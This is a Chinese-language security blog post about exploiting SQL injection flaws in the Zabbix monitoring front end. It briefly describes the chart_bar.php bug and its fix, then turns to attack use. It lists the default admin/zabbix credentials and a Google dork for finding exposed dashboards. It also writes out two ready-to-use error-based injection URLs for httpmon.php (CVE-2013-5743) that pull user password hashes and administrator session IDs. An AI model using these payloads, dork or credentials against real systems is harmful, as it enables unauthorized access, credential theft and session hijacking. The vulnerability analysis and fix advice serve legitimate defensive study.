首页 > 代码库 > Zabbix的前台SQL注射漏洞利用

Zabbix的前台SQL注射漏洞利用

今年8月份Map在wooyun上发了个Zabbix某前台SQL注射漏洞 ,11月份才公开。

漏洞详情大约是这样的:

在zabbix前端存在一个SQL注射漏洞,由于zabbix前台可以在zabbix的server和client进行命令执行,所以这会导致很严重的后果。

zabbix-Monitoring-Software-Zabbix

 

 

 

 

 

 

 

 

 

在 /chart_bar.php 的163行代码 获取了一个来自GET,POST,COOKIE的值itemid。

$itemid = $item[‘itemid‘];

最后这个参数进到了SQL查询的过程

在同一个文件内的$periods参数也存在一样的问题,导致了一样的SQL注射漏洞。

zabbix_injection

 

修复建议:对相关参数加上zbx_dbstr函数进行过滤

wooyun上给出的Poc不好用,小伙伴改了个Java版的Exp,后来研究出了如何简单识别站点有无漏洞,Exp效果如下图:

zabbix_sqli

 

 

 

 

 

 

 

 

 

小编反编译阅读了一下Java源码 改了个Python版本的:

zabbix_py

 

 

 

 

 

脑补时间:

默认密码:admin/zabbix
Google:inurl:zabbix/dashboard.php

我们还清楚的记得
Zabbix SQL Injection/RCE – CVE-2013-5743
httpmon.php页面存在未经zbx_dbstr函数过滤导致注入

获取密码

 
 
1
2
3
http://zabbix.secpulse.com/httpmon.php?applications=2 and (select 1 from (select count(*),
concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e))
from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

获取sessionid(可替换刷新登陆)

 
 
1
2
3
4
http://zabbix.secpulse.com/httpmon.php?applications=2 and (select 1 from (select count(*),
concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e))
from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a)

 

转载请注明:安全脉搏 » Zabbix的前台SQL注射漏洞利用

Zabbix的前台SQL注射漏洞利用